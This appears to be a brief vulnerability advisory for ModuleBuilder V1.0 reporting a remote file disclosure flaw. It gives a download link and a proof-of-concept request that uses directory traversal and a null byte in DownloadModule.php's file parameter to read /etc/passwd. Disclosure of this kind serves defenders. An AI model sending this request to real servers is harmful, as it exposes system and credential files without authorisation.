ModuleBuilder version 1.0 suffers from a remote file disclosure vulnerability.
213e35de465df5adefc4fb5fef51a2c1b9fcfcaa72b9f40095fc902fb7aa5b7e
ModuleBuilder V1.0 (file) Remote File Disclosure Vulnerability
http://www.sugarforge.org/frs/download.php/1274/install_ModuleBuilderV1.0.zip
/modules/Builder/DownloadModule.php?file=../../../../../../../../etc/passwd%00